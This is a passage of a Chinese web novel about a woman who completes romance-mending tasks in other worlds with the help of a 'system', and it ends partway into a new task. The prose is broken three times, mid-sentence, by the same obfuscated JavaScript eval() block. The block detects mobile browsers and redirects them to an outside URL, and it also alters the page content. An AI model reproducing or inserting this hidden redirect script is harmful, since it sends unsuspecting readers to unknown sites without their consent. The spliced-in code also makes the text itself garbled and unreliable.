话音刚落任洛年就感觉抓在自己脖子上的手骤然松开,随即灯打开了。 突然的亮光让已经习惯黑暗的任洛年睁不开眼睛,她半眯着眼回头一看,果然人又消失了。 不知道到底这里的人是有什么毛病,从主神到系统都这样爱从背后抓住人的脖子。她摸了摸自己的后颈,有些烦躁地想着。 这时候系统的声音才传来。 “你怎么样?” 从刚才烟火从天空燃尽的那一瞬起他就突然被切断了和宿主之间的所有联系直到现在才恢复,至于谁有这个权限,他不用想也知道。 任洛年心想你来得真及时,要不是对方没什么暴力倾向,现在她就有逝了。 不过她的刻薄也是分人的,其余时候有良好的自我管理意识,不会莫名其妙攻击别人。 所以她只是摇摇头,然后像是随口一问:“你们主神会随机出现在不同的区吗?” 系统听完她的问题更加确信了。 “刚才是他?” 任洛年不知道他怎么这么快就联系起来,点点头。 “他做了什么?” 不管怎么说,现在主神突然的出现和莫名其妙的举动都让任洛年琢磨不透。但是对于系统,她也不能完全信任,所以选择性地隐瞒了一部分。 “就突然出现在我身后,吓了我一跳。” 系统听完只是嗯了一声,没再追问下去。 ----- 第二天一早任洛年就起来了,本以为自己已经起得算是早的,结果往窗边一看,教授们都下地采茶了。 她生怕自己再被他们介绍相亲对象,所以就站在窗口看,没有出去。 撑着脸站在窗口,日出前的云层涌动,光影也随之变换,太阳还没开始升起橙色的光就已经蠢蠢欲动,向外宣示着它的到来。 在阳光洒进窗口的那一刻,任洛年看见沈何和周远逸走在梯田的田坎上。背景是日出的茶园,清晨的茶树上还缀着露珠,他们一前一后走着,时不时转身看着对方说话。虽然看不清他们脸上的神态,但是任洛年觉得这副画面是幸福的。 现在细想这个副本完成的进度,沈何和周远逸之间的误会都已经解开,现在看样子也已经对对方敞开心扉,那最后10点联系度应该从哪里找呢?难道是真正在一起的那一刻吗?任洛年心里隐隐有些担忧。 等他们都采完茶走回民宿,民宿的老板又手把手教他们炒菜,这下站在一边围观的任洛年也不能幸免,被抓过去炒了一会儿。 要离开的时候,每个人都被分了一点自己完成采摘和烘炒的茶叶。沈何从自己的那袋里分了一小袋给任洛年。 任洛年第一反应是连忙摆手说不用,她没有喝茶的习惯。结果沈何让她带回家给家人喝,任洛年推脱不掉只能接下,然后默默在脑内问系统:“你喝茶吗?” 系统:? 回家的路上任洛年本意是想给沈何和周远逸提供更多独处的机会,所以假装睡觉,以为自己睡着了他们聊天就不会害怕有外人在场不方便。结果他们两个以为任洛年睡着之后为了不打扰她睡觉,一个字也不说,连简单的交流也是用最小的声音。 第一次因为别人太有素质而感到无助,她又只能若无其事地醒来。 到家之后周远逸和沈何在门口说了一会儿话,任洛年径直走回家没有去听。 她坐在客厅想事情想得入迷,连灯都没打开,昏暗一片。系统一边喝茶一边顺手把客厅的灯打开,没有开口打扰她。 任洛年感觉自己好像陷入了一个圈套,她一开始进入D9区,系统的介绍就是什么极具人文关怀,什么帮助别人解决感情问题。而她当时都没有任何怀疑,直接就开始了任务。 她透过门缝看着带着笑容的沈何和正在跟她说话的周远逸,眉头几不可察地皱了皱。 之前系统给出的信息里面,郑涵一开始也是这样对沈何体贴入微,但是婚后还是第一时间变了嘴脸,甚至妄想把沈何困在他身边。 那周远逸呢?谁能保证他不会变?宿主,系统,甚至再往上的主神都不一定能保证。但在这种未知的情况下就这样妄加干涉,是不是也是一种把沈何推进另一个深渊的不负责任的行为呢?她看着一无所知的沈何,突然觉得一阵战栗。 系统像是感觉到她的异样,轻声问:“怎么了?” 她正沉浸在自己的思考里,被系统突然的一句话吓了一跳,回过神来。 “你觉得这整个系统为什么存在?” 系统没回答,这是她意料之中的结果。 等她站起身准备走向厨房的方向的时候,对方才开口。 “任何东西的存在都有它的原因,与其纠结这个,不如想想该怎么早点完成任务回到原来的世界。” 任洛年停下脚步,挑了挑一边的眉:“纠结?你想多了。我没兴趣知道。” 说完她又在系统的沉默中转移话题,她一边找今晚做菜的素材一边开口:“你说话真的很像我之前给你说的老板。” “哪里像?” “很多时候我就是随口一说,他就要很认真地告诉我不能这么想,让我做好自己的事。可能这就是理想主义和现实主义的区别吧。” “那你对他的印象怎么样?” 任洛年脑子里浮现出那张好像随时都在跟她生气的脸,有些心虚地说:“他那个人吧,怎么说呢,就是对身边的人要求高,但是对自己的要求更高,自己很厉害但不傲慢,愿意教你,跟着他是能学到很多东西,是很不错的上司。” 说完又想到了什么,继续补充道:“不过可能是因为是我大学的学长吧,对我的要求比别人都高,高到有一段时间我以为他在故意给我找茬。” 系统听完若有所思地说:“你确定他不是喜欢你?” 任洛年听到这句话突然睁大眼睛,连手里的菜都吓掉了,缓了好久才弯腰捡起菜,然后一脸惊魂未定地说:“你在讲鬼故事吗?” “个人觉得,像这种目标导向型的人格如果喜欢一个人,大概率是会格外关注并且想带着对方提升的。” 任洛年摇摇头,一边低头洗菜一边开口:“那就更不可能喜欢我了,我就是扶不上墙的烂泥,开会时的极个别人,别人都是老板给员工画饼,到我们这里都是我给老板画饼说我以后一定好好工作。你不知道,他每次看我的眼神都透露着恨铁不成钢,一天能对着我叹三次气。” 说着说着她想起自己之前问了他很多蠢问题,对方也是句句都生气,但句句有回应。不由地弯了嘴角。 “这种很优秀的人当然也要找一个能和他并肩的人,我这种npc顶多是来世界上凑个数的。” “别这样想,喜欢一个人不需要条件,被喜欢也是。” 任洛年没说话,只是笑了笑。然后沉默地继续手上的事。 ------ 晚上,任洛年躺在床上想白天没琢磨透的事情,一边想一边从指南里面找有用的信息。 指南上清清楚楚地写着,联系度达到100即可脱离当前世界,但是作为宿主的她走了,原主会回来吗?或者说,为什么她能作为宿主进入这个世界线。 如果换做是她,她也不想一个人莫名其妙地拥有身体一部分的使用权然后做一些不符合自己心意的事情。 这整个系统太复杂了,为什么这种东西的存在她以往是完全不知道呢? 感觉研究得越来越精神,她干脆直接坐起身来。 “几点了还不睡觉。”系统从一大堆信息里抬起头看了她一眼。 任洛年听见他的声音有点疑惑:“你还没下班?” “在整理下一个世界线的信息和任务。” 第一个的任务还没完成就开始熬夜整理第二个了,果然是很注重效率,再次印证了她觉得系统很像她之前老板的想法。 这时门口传来很轻的敲门声,这个屋子里只有她和沈何, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464734|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是她转头说:“进来吧。” 门打开,穿着睡衣的沈何站在门口问:“看你房间灯还亮着,你还没睡吗?” “对,我在玩手机。” “那我可以找你说说话吗?” “当然了,来吧。” 她一边说一边掀开旁边的被子,沈何也没有犹豫直接躺进去。 “想说什么?”任洛年转头问旁边的人。 “今天周远逸问我愿不愿意和他在一起,我没有答应。” 任洛年想了想:“为什么?是不喜欢他还是......” “不是,其实我是喜欢他的。” 沈何说完这句又停下来皱眉想了想,看起来非常纠结又苦闷。 “只是我觉得,刚离婚就直接和另一个人在一起,我不能接受这样的自己。” 任洛年听完才在心里噢了一声,突然懂沈何为什么犹豫了。 “沈何,我觉得你不需要对自己有那么高的道德束缚,你看郑涵就算做出出轨家暴这类事情都不会自责,因为他把自己放在中心位,你也要这样,你们在一起的原因只有是你喜欢、你愿意。同样,不在一起的理由也是你不想而不是受一段已经结束的婚姻的束缚。” 沈何认真地想了想她说的话,缓缓点点头,然后抿抿嘴,看起来欲言又止。 任洛年看出了她的犹豫,耐心地等她打通心里那关再开口。 没让她等多久,沈何继续说:“我之前都没有认真想过就糊里糊涂跟郑涵结婚,现在又在感情里犹犹豫豫,是不是很懦弱,很不聪明。” 任洛年立马反驳她这个说法:“沈何,你怎么会是懦弱,愿意迈出结婚那步是你勇敢的证明,不管在这段婚姻里经历了什么,导致你伤心也好或是对感情也好,这都是郑涵的错,不应该你来承担。” “至于现在,是否和另一个人在一起都是你自己的选择,愿意是你的选择,不愿意也是你的选择,遵从你的内心,不要被其他因素左右。” 沈何一直感觉自己面前有很多路,并且这些路都是她被动走的,但是今天才想明白,自己是自己生命的主体,不管走任何路都是自己主动走的,主动选择结婚,主动选择离婚,主动选择和另一个人在一起,或是主动选择拒绝别人。 所以现在,她也能再次主动选择一次。 沈何想到这里的第一刻任洛年脑子里就响起熟悉的播报音。 -滴,联系度+10,目前总联系度已达100,任务完成,宿主可随时脱离世界线。 随着这声播报她心里悬着的那颗石头才落下。 这个联系度说明任务最后要求的结果并不是两个人在一起,而是女主有对是否在一起的决定权,也就是说,即使在所以条件都已经成熟的情况下,女主不想跟男主在一起也可以完成任务。因为这意味着她可以自由地选择接下来的生活。 沈何回房间之后任洛年还是没睡觉,她躺下之后又开始想这个任务。听说现在世界线的任务都是主神设置的,那他为什么会这样设置呢? 她对这个主神充满好奇和探知的欲望,正辗转反侧时突然想起昨天晚上主神说的话,于是她试着用跟系统联络的方式在脑内小心翼翼地呼叫对方。 “在吗?” 试探性的询问还比不上小石子沉入大海,一点波澜都没有。对于这个结果她没有一点意外,毕竟主神怎么可能闲到随时有空回复她。 结果在闭上眼正准备睡觉的时候,对面传来声音。 “有事?” 声音里很明显带着些沙哑和被吵醒的烦躁。 任洛年吓了一跳,就像被抓现行了一样连忙回了一句:“没事。” 对面似乎不耐烦地啧了一声,任洛年还听见对方移动时被子发出的轻微摩擦声。 她突然有点好奇地问道:“主神也要睡觉吗?” 对面深吸了一口气。 “你大晚上不睡觉就是为了气我吗。” 任洛年这辈子能屈能屈,光速认错。 “不好意思,我不知道你在睡觉,晚安。”随即没等对方开口直接切断联系。 11. 系统你说句话啊 虽说任务已经结束现在可以随时脱离世界线,任洛年还是觉得应该跟沈何正式道别。 于是第二天她专门起了个大早还准备了早饭。等沈何起来就看见任洛年坐在餐桌旁,桌上是她准备等早饭。彼此对视然后心照不宣地笑了笑。 对于任洛年的出现,她一开始也感觉很难相信,就好像有人知道她现在的处境然后专门来带着她走向正轨。但世界上有些东西本就难以解释,既然存在就有一定的原因。如果任洛年愿意讲,她就听着,相反,如果任洛年选择闭口不谈,她也不会主动问。 在沉默中吃完早饭,任洛年也没有问她最后的选择,她们都给了彼此隐瞒一些事情的权利,不去刨根问底。 “要走了吗?” 沈何看向任洛年,声音轻柔,夹杂在清晨凉爽的微风里。 任洛年闻言抬眼。 “对。” 还在想怎么给她解释自己来这一遭的目的,就看见她唇角微扬,随即说了一句谢谢。 任洛年并没有觉得自己对沈何有什么帮助,与其说是她的出现,不如说是沈何自己的选择帮助了自己。 人就像一扇只能从里面打开的窗户,如果自己没有打开的想法,那不管外界如何干涉都无济于事。总要自己先开窗,外面的风才能吹进来。 跟沈何正式告别之后,她让系统按下任务结束的按键,任洛年就这样回到了刚进入第一个世界线的那个房间。 她坐在毛绒绒的地毯上,反应了好一会儿才完全把自己从任务中抽离出来。 系统看见她眼下有些乌青,轻声说:“你可以选择休息一段时间再进入下一个世界线。” 任洛年想了想:“那我就休息一天,明天就可以继续了。” 不知道她为什么这么急着完成任务,系统没多过问,只是点点头。正准备离开的时候任洛年突然叫住他。 “你能帮我去确认一个东西吗?” …… 切断所有联系设备直接下线后,系统站起身走出控制室。随即走到尽头的电梯,按了一个楼层之后电梯开始上升。 随着叮的一声,电梯打开,他一边低头看着手机一边往外面走,刚一抬眼就看见一群人的目光向他投来。 站在人群中央的03号系统一副很熟络的样子热情地向他打招呼,笑得很明媚。 “嗨,帅哥,又见面了。” 01号系统点点头应了,随即经过人群,径直走向一个餐桌旁若无其事地坐下。 他随意地扫了一眼这里的环境,看起来像装修得很雅致的餐厅。并且现在整个餐厅全都是穿着一样制服的人,确实就像普通公司的聚餐一样。 他正百无聊赖地打量着这里,对面就走来几个人。他们每个人的表情看起来都对他很感兴趣,其中一个中年男人像是仔细端详了他的一下然后对着旁边的03号系统露出一种很诧异的表情。 03号系统跟他对视之后,接着转头看向1号系统,打趣道:“不要一副很防备的样子,我对不喜欢我的人没有兴趣。” 01号系统闻言挑挑眉,似笑非笑地直视着她探究的眼睛:“我怎么感觉是你们在防备我呢,是我身上有什么你们想知道的东西吗?” 说完又抬眼把围着他的人扫视了一遍,看见他们各式各样的表情,在一片沉默中直接勾起唇角:“我开玩笑的。” 03号系统看见他笑起来的样子愣了一瞬,想到他对自己的撩拨完全不感兴趣的样子,心里隐隐有些惋惜。 僵持了一会儿,她还是开口暖场:“我们这群老家伙天天看着熟悉的脸,现在好不容易看见新面孔有点探知欲多正常。” “对了,给你介绍一下,这是07号系统,04号,05号……” 她每说一个人01号系统的目光就落在那个人身上,虽然看不出任何情绪,但这种打量的眼神还是让人隐隐觉得有些压迫感。 等全部人都坐下之后,有个看起来年龄有些大的系统站起来讲话,1号系统默默听着。他不知道自己哪根筋抽了,总觉得这个人的讲话很没有主题,缺乏逻辑,用词冗杂,甚至一度想站起来纠正他,好不容易才压下这种冲动。 勉强听下来可以得出对方的意思大致是说大家都是属于一个大区的系统,也算是同事了,聚在一起也可以相互交流经验,今后互帮互助。 后面越说越偏,甚至扯到主神,不过让01号系统很迷惑的是,他对主神的态度是感激的,甚至他能隐隐品出些诡异的崇拜。 他微微眯着眼看着正讲得投入的人,结果这个时候突然被另一个人打断,对方很明显是怕他再泄露更多的东西,强行用敬酒堵住了他的嘴。至此没有任何人再提过一次和主神有关的话题。 这些系统对主神的态度非常奇怪,好像有人对他恨之入骨,说他是专横的暴君,又有人对他心存感激,甚至把他奉为救世主一般的存在。 他们到底经历过什么事情,或者说,主神到底对他们做了什么。这一切扑朔迷离,1号系统突然想起任洛年问他的一句话。 “你觉得这整个系统为什么存在?” 在沉默中吃完了一顿饭,他乘坐电梯回到自己的控制室,宿主已经说了休息一天,按理说系统也可以和她一样直接放假,但是他并没有选择休息,还是像往常一样坐在桌前,打开设备。 -------- 感觉到系统离开之后,任洛年站起身来打量了一下房间。之前从来没有仔细看过这个房间,现在看来这个房间无论是整体风格还是从一些细小的设计都能看着设计者的“少女心”。 地毯是暖黄色,床和衣柜和书桌看起来是配套的粉白色,还有爱心的标志,连纱窗也是奶黄色。 整个房间开阔明亮,配合着暖调的灯光,这里看起来确实很梦幻。梦幻到任洛年感觉自己这个阴沟老鼠看起来和这里格格不入。 她一边打量一边走到门前,推开门走出去之后发现这个房子其余地方的装饰和那个房间格格不入。色彩偏冷色调,多是黑白灰,极简的装修风格,甚至用的瓷砖也让人感觉到一种冷淡的气息。 一个房子的风格却这么迥异,她微微感到有些奇怪但随即就被外面的风景吸引。 她缓步走向阳台,透过全景的玻璃窗看见熟悉的高楼建筑,甚至看见高楼大厦遮挡只露出一段的河流。 这看起来和她原来的世界线非常雷同,或者说,这就是她原来的世界线。 她不能确定,但是有一股莫名的冲动驱使着她打开门走了出去。下楼之后她打了个车,随即在到达郊区的河边的时候下车。 郊区的河边人少了很多,只是偶尔路过几个散步的人,偶尔又跑过几个小孩。沿着河边是生长得茂盛的芦苇,挺值着身体又随风摇曳。 任洛年望着宽广的湖面,坐在面对着河的长椅上,感受到河风拍到脸上的感觉,有些湿冷但很舒服。 风带来的味道都和她记忆里是一样的,把她带到过去一个人在河边来的时间里。 她闭眼暂时陷入回忆,之前每一次到这里也像这样坐在椅子上放空,各种情绪一直萦绕在她周围把她困住,只是在她离开时被暂时收回。 对她来说这个世界上没有一个让她真正能喘口气的地方,远离人群的这里也只是一个暂时的避风港。 她感觉脑袋很昏沉,身体也有些疲惫,怀疑自己再闭着眼想一会儿都能直接在这个椅子上睡着,于是打起精神睁开眼睛。 刚睁开眼睛就看见面前有个小男孩眨着圆溜溜的眼睛好奇地盯着她。 “阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464735|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姨,你很难过吗?” 任洛年看着他认真地说:“本来不难过,被你叫阿姨之后有点。” 对方立马反驳她:“不是的,我叫你之前你就很难过,你的眼睛看起来好像要流眼泪。” 他一边说还一边指着任洛年的眼角,想是很确定自己的判断。 任洛年一时哭笑不得:“你是第一个这么说我的。” 把一个小孩单独放在没有护栏的河边实在很危险,任洛年环顾四周想找找他的家人。还没找到的时候小男孩就自己给她指了一个方向,她顺着这个方向看过去。 一个男人蹲在地上给一个穿着白色裙子的女人拍照,她站在河边,旁边是高高的芦苇,背后是傍晚的落日。 任洛年挑眉:“这是你爸爸妈妈?” 小男孩点点头:“是的哦,他们每次出来都是这样,把我放在一边。” 任洛年看着他委屈的笑脸,突然懂了那些天天在小孩面前念叨着“你爸爸妈妈不要你了~”的恶趣味。 于是坏笑了一下,刚准备开口就听见他的爸爸妈妈在叫他,小男孩转过头立马兴高采烈地跑了过去,像一只欢腾的小狗。 任洛年看了他们一会儿,直到他们从自己面前走过,听见那个小男孩的爸爸在跟他说话。 “你知道风是怎么形成的吗?” 小男孩看起来一副很懂的样子:“我知道,因为河里有个水怪,它会悄悄伸出水面来呼气。” 听见他的话任洛年居然真的想象起水怪呼气的场景,低头笑了起来。 这时候听见了一个熟悉的声音。 “笑什么?” 任洛年立马抬起头,诧异地问:“你不是下班了吗?” “下班时间就不可以跟你说话?” 任洛年摇摇头,随即给他讲了刚才听见的话。 系统听完后闷闷地笑了一声说小孩子脑子里的世界总是充满乐趣的。” “不一定所有小孩都这样吧,也有从小就很严肃的。” “比如?” 任洛年在心里想了想。 “可能我之前给你说的老板小时候就是这种严肃的类型吧,之前我的另一个学长就说他三岁看老,就是说他三岁就看着很老。” “为什么老是提起他?” 任洛年被他这句话一噎,随即自己也想了想,发觉好像只要系统在的地方她确实是更容易想起林亦慈。 又是长久的沉默,任洛年望着逐渐变暗的天空和河面已经忘记了要回复他的事,想到对面排排的大楼灯光即将亮起,灯光会倒映到河面,又会是一副繁华的景象。 她看着平静无波的河面,突然感觉自己就是这个世界上最无人问津的角落里的一个最无人问津的人,不会有人在意她的存在或离开。 这种强烈的孤独感让她想逃离,比起在这个无人在意她的地方待着还不如去做任务,至少在那里她是能发挥一点作用的。 于是湖面被风吹得泛着阵阵涟漪的时候,她突然开口问系统:“我想直接进入下一个世界线,可以吗?” 系统抬眼看着这个独自坐在河边的女孩,她面无表情地望着河的另一边,看起来有一点孤独。 不知道为什么,他感觉自己的心在看见她眼神的那刻感到有些钝痛。这种没有根据的情绪转变让他感到不安。 他兀自点点头,答应了她的请求,随即直接点了开始任务。 在系统刚按下去的那刻,任洛年就感觉身体变轻然后又像上次一样体验了一次时空穿梭的感觉。 只是这种感觉没维持多久,还没等她感觉自己落到实处,就猝不及防地被泼了一脸的水。她吓得抖了一下,随即再低头看了看身上的红色酒渍。 “系统你说句话啊,这啥意思?” 12. 回忆迷宫 事发突然,连系统也没预料到,直到看见任洛年被泼了一脸的红酒,他才突然想起自己还没给她提前看世界线信息。 “抱歉,忘记提前给你看信息了。” 任洛年没回他,感觉脸上的酒顺着侧颊留到下巴还在滴水,她闭着眼抬手抹了一把脸上的酒渍。 好不容易能睁开眼睛看清了发现前面的人又倒了一杯酒,看样子马上又要泼在她的脸上。 又来? 被自己的运气幽默到了,她像开玩笑一般给系统说:“城里就是好,天天都能过泼水节。” 系统觉得她看起来已经有种淡淡的死意,本着保护宿主的原则,他准备随便找个身份出现拔刀相助。 结果这时一个女声由远及近地传来:“小言,算了。” 她踩这高跟鞋向这边走过来,声音很平稳,没有任何命令的意味,但是对方听见她的话之后还是立马停手,转头看着她,欲言又止。 任洛年头发湿漉漉看起来很狼狈地望着走来的女人。 对方居高临下地看着坐在餐桌前的她,没有任何表情,但是任洛年能感觉她看自己的眼神有些奇怪,像是同情又像难以抑制的厌恶。 看了任洛年一会儿,她像是叹了口气,说:“你先回去吧。” 刚才泼酒的女人听见之后立马像打抱不平一样说:“菁姐,就这么放过这个小三?是她先勾引……” “好了,小言。那也是我家的事情,不该你管。更不该在大庭广众之下管。” 说话的女人一头历练的短发,穿着休闲风的西装套装,脸上是简单又精致的妆容,是很成熟的长相,并且说话的语气很平和,给人一种很有修养的感觉。 刚才泼酒的女人被她打断之后也没有再说话,只是看着任洛年的眼神还是一如既往的厌恶。 小三,勾引?任洛年听完天都塌了,露出难以置信的表情。 “时间紧急,我现在先给你讲基本信息。你的角色叫谢修艺,是一个小明星。对面这个是世界线女主,叫王菁,你这个身份的原主是王菁丈夫的出轨对象。” “现在的剧情是她的朋友为她打抱不平在餐厅找到你,跟你起了争执。” 任洛年听完之后立马代入这个角色,知道自己理亏没有跟她们起争执,想先离开现场。 结果刚转头就看见旁边有人往这边看来,甚至有人举起手机拍照。 如果原主的身份是个小明星的话,这些照片被发出去,那她的职业生涯岂不是毁了。任洛年一时陷入困境。 正焦急的时候,感觉四周的目光好像突然都往餐厅门口看过去。 任洛年也顺着他们的目光看了过去,发现从门口走进来几个人,站在最前面的那个男人身材高大,面容英俊,穿着得体的黑西装,从衣着到头发都打理得一丝不苟,看起来像刚从公司开会后直接过来。 他径直走到任洛年面前,然后面无表情地给她披上外套,随即转身和身后的助理说了几句话。 刚说完任洛年就看见助理走向拿着手机的路人,看起来是在协商让他们删掉照片。 这个人从进来到现在不过几分钟,所有的事情都迎刃而解。 系统跟她补充着信息:“这是谢修远,原主的亲哥哥,现在是谢家家族企业的掌权人。” 任洛年听见这很玛丽苏的设定挑挑眉,怪不得这么爽。 “哦,他还是这个世界线的男主。” 听见这句话任洛年有些惊讶地看着面前这个男人。 “这么重要的事情你怎么不等我任务做完了再说?” 系统还没开口她面前的男人就敲了一下她的头,这一下劲头十足,任洛年痛得闭了下眼。 “还看?惹这么大的祸自己想想回家怎么办?” 凑近看见任洛年脸上还残余的酒渍,他眼里闪过一瞬的烦躁,随即转头看向面前的几个女人,刚才对着任洛年还十分温和的眼神突然就沉了下来。 “如果我妹妹有做的不对的地方,我想你们应该好好协商,而不是用这种侮辱人的手段。” 说到这里他看了一眼面前那个女人手里还拿着的红酒杯,那个女人察觉到他的视线有些紧张,手捏得紧了些。 王菁看了他一眼,随即露出一个得体的笑容。 “谢总,这件事情确实是我们过激了,但是我觉得你并不知道事情的真相,同样没有资格这样随意评价我们的行为,你觉得呢?” 谢修远闻言笑了一下:“真相也不是只由一方的人说了算的,等我回家会好好询问谢修艺,如果说她真的存在不恰当的行为损害到了你的权益,我也不是什么护短的人。” 他们两个对视着,像是一种无声的对峙。 任洛年感觉空气里的火药味都要把她呛死了,随后一想到自己的任务是撮和这两个一见面就剑拔弩张的两个人,她就碎掉了。 眼看还有人往这里看,谢修远心里清楚现在的当务之急是把这个惹祸精妹妹带回家,于是向对方轻轻点点头:“告辞。” 任洛年看着他迈着长腿往外面走去,她也立马站起来跟上去。 谢修远出门后司机已经打开副驾的车门,他没看任洛年一眼直接坐了进去。随后司机又帮任洛年打开车门,她小声说了一句谢谢,然后默默坐在后座上。 刚坐进去她就感觉到一股刺骨的冷意,谢修远默默把空调温度调高,转头看着她。 “冷?” 任洛年点点头。 “自找的。” 早知道摇头了。 车平稳地行驶在路上,繁华的夜景像电影片段一样从车窗外一幕幕闪过,变幻的光映在任洛年的脸上,她披着厚厚的外套就这样望着窗外。 谢修远看着这个可怜巴巴的人,心里叹了口气。 “谢修艺,我有时候真的不知道你脑子里在想什么。读书的时候不想学原来的专业,想一头扎进艺术,好,送你去国外留学。回来之后又想演戏,说那是你的梦想,好,放任你去。家里没有人反对过你的任何决定。” “你呢,现在和一个有家室的男人在一起,你知不知道你在干什么。” “自毁前程,毫不自爱。” 他说完感觉自己可能说重了,停顿了一下,又放缓语气再次开口。 “我们对你有多大的成就没有要求,只希望你自己过得开心就好,但是谢修艺,你知道一个人最重要的是什么吗?不是你拍了多少部戏,赚了多少钱,是你的品德。” “和那个男人分开,这件事我们就此不提了。至于王菁那边,改天我会找机会给她道歉。” 任洛年看着前面的男人,即使从后面也能看见他轮廓分明的侧脸,肩背很宽,穿着定制的西装看起来提拔得体。 一个年轻的掌权人说道歉就道歉,这是对自己的妹妹疼到了什么程度,她一时有点诧异。 系统断断续续地给她补充信息:“谢修艺一开始和王菁的老公见面是在一场饭局,王菁的老公陈涛作为投资方出席,事后主动找到她,并且向她隐瞒了自己已经有妻子的事实。谢修艺在知道他有老婆之后跟他闹分手,他又以和王菁只是商业联姻,婚姻名存实亡以及很快就会离婚来哄骗谢修艺,谢修艺当时听信了他的话,再加上那段时间这件事被谢家的人知道,她本着和家里人赌气的心态一直没有跟陈涛分手。” 这么听下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13464736|141845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来可以看出谢修艺是个单纯又任性的大小姐形象。但即使说她在这件事里有错,罪魁祸首还是王菁的老公陈涛。 任洛年接收完信息想了一会儿,缓缓抬头看向谢修远,轻声说:“我知道了,哥。” “先想想怎么回去跟爸妈解释吧。” 任洛年闻言又是心头一紧,准备迎接下一波攻势。 车驶入一个绿化得很好的别墅区,大门打开,直接开入了车库。下车之后任洛年看着眼前这个像小型城堡一样的房子,愣了神,发现之前自己做梦还是做保守了。 房子里的灯光还亮着,很明显是在等他们。她现在感觉走就像小时候被叫去老师办公室一样,现在走的每一步都格外漫长,甚至无意识地握紧了拳。 结果刚走进门就有个女人走上前来,一开始任洛年还以为是家里的阿姨,直到这个女人看着面前的人看着头发湿淋淋的女儿,突然就红了眼眶。 任洛年是在被她抱紧怀里之后才反应过来的,她有些无措地站在那里,连手该怎么放都不知道。 没有咒骂责备,甚至连一点点指责都没有,只是把她抱住了。 谢修远站在一旁没有打扰她们,等妈妈松开手的时候才扶着她的肩让先进去。 走进明亮又装潢得豪华的客厅,任洛年看见沙发上坐了一个男人,他看起来两鬓已经有点白发,但整个人还是充满威严。 她一看就知道这是原主的爸爸。没敢开口,只是看着他。 “做了坏事就不敢说话?” 语气和刚才谢修远一模一样,没有责备的意味。 听见这句话任洛年才正准备开口,这时候刚才那个满脸慈爱的女人走上前来摸着她的头发。 “艺艺全身都被打湿了,有什么等下再说,让她先去洗个澡,换身衣服。” 谢父听完也看向她的头发,点点头。 谢修艺的妈妈一边带着任洛年上楼一边问她冷不冷,把她送到房间之后轻声说:“已经让阿姨做了你想吃的,等你洗完澡下来吃。” 任洛年从刚才就一直皱紧到眉头就没有解开过,她对他们对谢修艺的态度感觉到困惑,前所未有的困惑。 在那个女人要走出房间的那一刻她突然转头很不解地问:“为什么,即使我犯了错你们也不会怪我吗?” “为什么不怪我?” 她完全不能控制住自己的情绪,第二句话甚至像是一种质问。 对方刚准备出门,听见她的话转头看过来。 她缓缓走到任洛年面前,轻轻摸上她的脸。 “艺艺,人就没有不犯错的,我们知错就改,下次别再犯了。妈妈又不会因为你犯错就不爱你。” 她这句话说得轻柔又珍重,像是真的把面前的人当成自己的掌上明珠来呵护。 任洛年不敢直视她的眼神,那种让人窒息的痛楚突然袭来,她点点头然后像是逃跑一样仓促地走向浴室。 刚进去她就脱力了一般靠在墙上无声地哭泣,任眼泪一滴滴划过脸颊,痛苦从心脏迸发到血液里,她感觉像溺水一样快要窒息。 虽然很早就知道用哭是解决不了问题的这个道理,她还是难以抑制住越来越放肆的眼泪,如果再不用哭来宣泄这种情绪,她感觉自己真的会被痛楚淹没。 明明以为自己已经忘记了的那些过去,现在又像钝刀一样划着她的心脏,虽然不致命,但也能让她痛得呼吸一滞。 她就像那句质问一样执拗地渴望一些东西,最终还是意识到就算自己穷尽一生也难以拥有,这种无力深深地填满了她。 过去像迷宫一样把她困在一个个难以入眠的夜里,她好像从来没有走出过。 13. 报复 暴雨过后空气里混杂着草木带着点泥土的土腥味,河水溢出倒灌到田里冲垮庄稼。路边偶尔有倒塌的树木宣示着这几天夜晚所经受的狂风暴雨。 一个女孩穿着白色短袖,外面套了一件黑色卫衣外套,扎着半高的马尾。白皙的脸上能很明显看到眼下的乌青,一副风尘仆仆的样子像是刚从外地回来,正拖着个小型行李箱从小镇的车站往村里走。 村口的河边很多人围在一起,其中一个大爷指着面前草木茂密到把土地完全覆盖的荒地,声情并茂地讲述自己亲眼看见的事情。 “就是这里,听说那天那个人喝醉酒了从这条小路出来,刚出来就被一辆黑车撞出几米远,我当时就听见很大一声,后面出来的时候人就不见了,地上什么痕迹也没有,大概是被雨冲掉了。” 他刚说完旁边立即有人附和:“雨太大了,开车的人看不清,他又喝得醉醺醺的,肯定走到路中间去了。” 有个看起来还挺年轻的人听得津津有味,追问道:“那司机呢,跑了?” 